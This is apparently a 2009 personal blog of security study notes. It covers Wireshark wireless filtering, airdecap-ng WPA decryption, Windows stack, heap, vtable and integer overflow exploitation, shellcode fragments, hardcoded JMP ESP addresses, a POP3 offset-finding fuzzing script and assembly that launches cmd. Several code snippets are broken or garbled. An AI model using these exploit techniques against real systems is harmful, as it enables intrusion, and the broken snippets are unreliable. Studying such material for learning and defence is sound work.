Wednesday, December 30, 2009

Wireless Sniffing with Wireshark

From the Chapter 6 of a book from Syngress:

-To display only traffic from the client station using the display field name, display filter to return only frames with our station MAC address as the source that are not destined to the broad-cast BSSID.

The display filter now becomes: eq 00:09:5b:e8:c4:03 and wlan.bssid ne ff:ff:ff:ff:ff:ff

-wlan.bssid eq 00:11:92:6e:cf:00

-We can apply a display filter to identify all packets that includes the SSID “NOWIRE” as shown:
wlan_mgt.tag.interpretation eq "NOWIRE"

-wlan_mgt.tag.interpretation eq "NOWIRE" and !(wlan.bssid eq 00:02:2d:37:4f:89 or wlan.bssid eq 00:40:05:df:93:c6 or wlan.bssid eq 00:40:96:36:80:f0)

-Even when there are no stations participating on the network, an AP will transmit at least ten packets a second to advertise the presence and capabilities of the network.

We can exclude these frames by applying a display filter as shown below:
!(wlan.fc.type eq 0 and wlan.fc.subtype eq 8)
wlan.fc.type eq 0 = management frame
wlan.fc.subtype eq 8 = beacon frame
wlan.fc.type eq 2 = data frame

-wlan.fc.protected ne 1 = ideatify all unencrypted frame

Since those management and beacon frames are always unencrypted, we can extend the display filter to identify unencrypted data frames only to get the most effective analysis:
wlan.fc.protected ne 1 and wlan.fc.type eq 2

-We can identify WEP traffic by identifying any frames that include the mandatory WEP Initialization Vector (IV):

-We can use a display filter to identify this header by filtering on the extended IV field:

-airdecap-ng utility (included in the open-source Aircrack-ng suite of tools) used to rewrite a packet capture that uses the TKIP protocol. Similar to Wireshark’s ability to decrypt WEP traffic, airdecap-ng requires you to have knowledge of either the PSK or the Pairwise Master Key (PMK) in order to decrypt TKIP traffic.

-For airdecap-ng, you can decrypt a TKIP packet capture using the same technique, by specifying the TKIP PMK with the -k parameter or by specifying the PSK with the -p parameter. When decrypting TKIP traffic, you must also specify the network SSID

-Airdecap-ng creates the output file wpapsk-dec.dump, which contains the unencrypted data frames.

airdecap-ng -l -p "dictionary" -e linksys wpask.dump eq 00:60:1d:1f:c5:18 and wlan.fc.type eq 2

-As a security feature, modern APs using WEP only support open authentication with WEP encryption, because shared key authentication introduces additional vulnerabilities to the network.

-To probe and get all SSID in Prefered Network List
C:\wireshark>tshark -r wireless-rwc-3.cap -nV | grep "SSID parameter set:" | sort | uniq
SSID parameter set: "hhonors"
SSID parameter set: "linksys"
SSID parameter set: "matrix"
SSID parameter set: "rogers"
SSID parameter set: "Rogers"
SSID parameter set: "turbonet"
SSID parameter set: "wldurel"
SSID parameter set: Broadcast

-A display filter to examine only traffic sent to the DS from wireless stations:
wlan.fc.tods eq 1 and wlan.fc.fromds eq 0

wlan.fc.tods eq 1 and wlan.fc.fromds eq 0 and eq 00:13:ce:55:98:ef and arp.opcode eq 1

-From main Wireshark window, we can use the display filter function to display only malformed frames with the following filter:

-frames that should only be transmitted by an AP (beacons, reassociation response, probe response)

-frames that should only be transmitted by stations (probe request, reassociation request,
association request).

Fuzzing suspection
eg. Individual frames include values that are not reasonable; frame 278 indicates the beacon interval is 42,281 millisecond (msec) (BI=42281), which means the AP is transmitting beacons once every 43.3 seconds, as opposed to the standard convention of 10 times per second. Similarly, frame 472 reports a beacon interval of 18,146, or one beacon every 18.1 seconds.

Tuesday, December 29, 2009

Socket programming RCE

My sample of a simple socket code which connected to, port 555555

#include "winsock2.h"
//#pragma comment(lib, "wininet.lib")

void main() {
// Initialize Winsock
WSADATA wsaData;
int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
printf("Error at WSAStartup()\n");

// Create a SOCKET for connecting to server
SOCKET ConnectSocket;
ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (ConnectSocket == INVALID_SOCKET) {
printf("Error at socket(): %ld\n", WSAGetLastError());

// The sockaddr_in structure specifies the address family,
// IP address, and port of the server to be connected to.
sockaddr_in clientService;
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr( "" );
clientService.sin_port = htons( 55555 );

// Connect to server.
if ( connect( ConnectSocket, (SOCKADDR*) &clientService, sizeof(clientService) ) == SOCKET_ERROR) {
printf( "Failed to connect.\n" );

printf("Connected to server.\n");

I debug the executable file in Ollydgb and monitor the connection with netcat. Connected! The IP and port number can see clearly in Ollydbg. During the process, 1 hardware breakpoint need to put. If i put in a normal software breakpoint, the program wont stop.

Monday, December 28, 2009

ntoh and hton

In socket programming, the 'htons' and 'ntohs' usually used for converting the IP port byte order. This can ensure the integer that represent correctly in different endian-ness of the machine.

On some machines, they basically do nothing such as IBM machine. On others, they
rearrange all the bytes ( swap bytes), eg Intel.

Little-endian architecture (eg,Intel) ==> swap bytes
Big-endian architecture (eg, IBM, Motorola) ==> output is same as input

htons() \\host to network short, converts a short from host byte order to network byte order

htonl() \\host to network long

ntohs() \\network to host short

ntohl() \\network to host long

We use 'hton' when we're about to send stuff over the wire, and 'ntoh' to convert the data on the wire into a form we can use. The end output that will travel on the wire is "Network Byte Oder" that represent by "Big Endian"

Exploiting C++ virtual function

Object | Vtable
Vtable pointer -----> Virtual function_1---> Virtual function1()

class Failwest
public :
char buf[200];
virtual void test(void)
cout<<"Class Vtable::test()"< }

Failwest overflow, *p;
void main(void)
char * p_vtable;
p_vtable= overflow.buf-4 ; // point to virtual table
strcpy(overflow.buf, shellcode)

Layout of the object

vtable pointer
fake virtual function pointer

Flow : vtable pointer ---> fake virtual function pointer ----> shellcode

Saturday, December 26, 2009

Heap Overflow

For Visual C++,use the release version to test the code

To prevent the application detect the debugger and use the debug management policy, we should add a command '_asm int 3' after the heap initialise. The application will stop after the heap create. Now, Attach the process to the debugger to test

To study heap.
1. heap_vis plugin for Ollydbg can be used to check the heap.
2. directly go to the heap location with Ctrl + G


To overflow the heap, put in flink to 0x44444444, blink to 0x00000000. the last distributing function work, exception run, because cannot write 0x44444444 to 0x00000000. If we change the target to legitimate address, 0x44444444 will write to the target.

When application exit, ExirProcess() will execute. It will trigger RtlEnterCriticalSection() and RtlLeaveCriticalSection() to syncronise thread.

RtlEnterCriticalSection() ---> 0x7FFDF020
RtlLeaveCriticalSection() ---> 0x7FFDF024

To prevent error, we need to repair the pointer of Rtl..(). (the PEB pointer)
0x7FFDf020 usually have a pointer to 0x77F8AA4C

Example of the shellcode

char shellcode[] =

//repair the pointer which shooted by heap overrun
"xB8\x20\xF0\xFD\x7F" // MOV EAX, 7FFDF020
"xBB\x4C\xAA\xF8\x77" //MOV EBX, 77F8AA4c the address need to verify with diff OS
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX

"the payload"
"\x16\x01\x1A\x00\x00\x00\x00\x00" //head of the adjacent free block
"\x88\x06\x52\x00\x20\xf0\xfd\x7f"; //0x00520688 is the add of shellcode in the heap block
//0x7ffdf020 is the add of RtlEnterCriticalSection()

Attention :
1.For heap overflow, usually we need to repair the heap environment
2.Testing in debuging and release mode is diff. Solution is the _asm int 3
3.To correctly verify the shellcode address, David Litchfield suggested use
these as jumping command. It can be found in netapi32.dll, user32.dl, rpcrt4.dll


Thursday, December 24, 2009

PE File Format

- VA = Image Base + RVA

Relation of File Offset and RVA

Section | RVA | File Offset

.text 0x00001000 0x0400
.rdata 0x00007000 0x6200
.data 0x00009000 0x7400
.rsrc 0x0002D000 0x7800

.text section offset = 0x1000-0x400 = 0xc00
.rdata section offset = 0x7000-0x6200 = 0xE00
.data section offset = 0x9000-0x7400 = 0x1c00
.rsrc section offset = 0x2D000-0x7800 = 0x25800

File offset = VA - Imagebase - section offset
= RVA - section offset

LordPE is a nice tool for PE analysis

Hex Editor : Ultra Edit, Hex Workshop, WinHex

Wednesday, December 23, 2009

Stack Overflow 2

For Visual C++ :

-stack overflow experiement, we should use the debug version. If we use the release version, we may need to retest again.

-heap overflow, we should use the release version. If we use the debug version, it will fail.If heap test is running directly under Ollydbg or Windbg, the heap management will use the debugging management policy.

ESP - Pointing to the top of the stack
EBP - Poining to the base of the top stack

_stdcall and _cdecl will be different. Be default, Visual C++ will use the _stdcall

call function
push ebp
mov ebp, esp
sub esp, xxx

add esp, xxx
pop ebp

Stack layout

Char buffer[0-3] Low addr
char buffer[4-7]
return address high addr

Example the input is 43214321432143214321

the memory layout at Ollydbg :

Char buffer[0-3] 1234 (Offset3,2,1,0)
char buffer[4-7] 1234
int..... 1234
ebp 1234
return address 1234

If the modified return adress is 0x00401122, we should input it in as 22 11 40 00 ( for little endian), so the end result EIP will show 0x00401122 correctly.

In Visual Studio 6.0, "Dependeny Walker" may obtain the user32.dll base address, MessageBoxA offset entry point and etc.

To obtain all the process various jumping address, Ollydbg plugin "OllyUni.dll" can be used. Put it in Ollydbg directory Plugins folder, restart Olly.

Right click on the code --> Overflow Return Address ---> ASCII Overflow returns --> Search JMP/ CALL ESP ---> >Click the L button on Olly tool bar or Log

- If the problem of different path length, heap spray method will be useful for this situation.

- The decoder for shellcode

ADD EAX,14h //the length of decoder is 20 bytes
XOR BL,44h //the encode key is 0x44
CMP BL,90h

During the start of decoder, EAX will be aimed on the start of shellcode. After the decoder, it will follow with the real shellcode. For this decoder, we need to add a bit of 0x90 as the shellcode ending.

Tips for make the shellcode "thinner"

- Some super useful asm command to make the shortest shellcode

xchg eax, reg //exchange eax with the register value
lodsd //the dword pointed by esi will put to eax, increase esi
lodsb //the byte pointed by esi will put into al, increase esi
cdq //use edx to extend eax to dword, if eax < 0x80000000,thi command can use as
mov edx, NULL

-use register such EBP, ESI,EDI or etc to store data, but not push into the stack
-the code can used as data
-protect the stack by raising the esp value at 1st, this can save a lot data initialising command

Wednesday, December 16, 2009

Stack and Integer Overflow

Stack Overflow

-Common address for XP, 2000 and 2003, JMP EBX address = 0x7ffa1571 0x7ffa4a1, JMP ESP = 0x7ffa4512

- Sometime after jmp esp, it cant follow the with the shellcode, eg in MS03-049 Workstation Service Overflow and MS03-026 RPC Overflow. Sometime they need the gap there. Maybe 8 bytes, so when testing, it shod be

jmp esp ---> testing code ( eg, eb fe ) ---> shellcode

Solution :
1. Place the shellcode in front at the return address


2. Add in some junk code in the gap

- To scan a host whether running the vulnerable application, we may scan it by analysis the network packet. Usually the patched will different with the unpatched version.

- To locate the overflow point, here the python code (for CMail) :

import poplib
m= poplib.POP3('')
s = 'a' * 100+'b' *100 + 'c'* 100 +'d'*100 +'e'* 100

import poplib
m= poplib.POP3('')
s = 'a' * 400+ 'a' * 10 +'b' * 10 + 'c' * 10 +'d' * 10 +'e' * 10+ 'f' * 10+'g' *

10+'h' * 10+'i' * 10+'j' * 10

- To open a command prompt

push ebp
mov ebp, esp
push ebx
mov byte ptr [ebp-4], 63h //'c'
mov byte ptr [ebp-3], 6Dh //'m'
mov byte ptr [ebp-2], 64h //'d'
mov byte ptr [ebp-1], 0 //'\0'

push 5 // #DEFINE SW_SHOW 5
lea eax, [ebp-4]
push eax
mov eax,0x777e4fd35
call eax
pop esp

void main()
char cmdline[4] = "cmd"
WinExec(cmdline, SW_SHOW);

Interger Overflow

- The input could be a -ve value. When this input asigned to a unsigned variable, it will change to 0xffffffff for -1. This could trigger overflow by assigning a huge heap area.

- Usually this type overflow hard to use than usual stack or heap overflow.

- Example : JPEG integer overflow, Windows USER32 LoadImage API integer overflow, PuTTY SFTP Client interger overflow, Evolution camel-lock-helper interger overflow

Thursday, December 3, 2009


For File Signature Verification, I noticed a tool in Windows that installed by default in several win32 platform, namely sigverif. To execute the tool, type 'sigverif' at the Run tab.

Sigverif able to scan the system folder to find the unsigned system files or driver files. The scanning path can be defined by ourself eg SYSTEM/Driver,etc.

Yet, the tool only able to inform us about the unsigned file, nothing else it able to do eg export to result to csv, or further investigate the file details.

Here the scanning result of my Windows VM :